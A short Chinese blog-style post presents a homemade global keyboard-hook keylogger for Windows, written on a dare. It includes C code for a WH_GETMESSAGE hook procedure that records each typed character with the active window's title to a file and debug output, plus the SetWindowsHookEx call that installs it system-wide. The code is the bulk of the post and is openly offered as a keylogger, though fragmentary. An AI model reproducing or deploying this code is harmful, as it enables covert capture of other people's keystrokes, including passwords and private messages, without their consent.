写的一个全局钩子 键盘记录器
这个 先看效果吧
其实实现很简单 我本来不想写的 但是 有个人写出来了 还很骄傲 。。。。。 然后还说你行你上
然后我就上了
如果不是debug 3个小时 我 一个小时就写完了
其实很简单
然后这是写到文件里的
但是 说实话 在windows 10里面作用不大
LRESULT pro(int code, WPARAM wParam, LPARAM lParam)
{
PMSG pMsg = (PMSG)lParam;
char szkey = (char)pMsg->wParam;
if (WM_CHAR == pMsg->message)
{
if (szkey > 16 && szkey < 256)
{
//MessageBox(NULL, L"已经开始回调!", L"键盘记录器!", 0);
char szwindowsnamep[500] = { 0 };
char str[500] = { 0 };
GetWindowTextA(pMsg->hwnd, szwindowsnamep, 300);
fprintf(fp, "在%s窗口按下了%c键\n", szwindowsnamep, szkey);
sprintf_s(str, 500, "在%s窗口按下了%c键", szwindowsnamep, szkey);
OutputDebugStringA(str);
}
}
return CallNextHookEx(Hook, code, wParam, lParam);
}
这就是打印里面的
Hook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)pro, Hinst,0);
其它也没有什么写的了
最近 写代码总是有bug。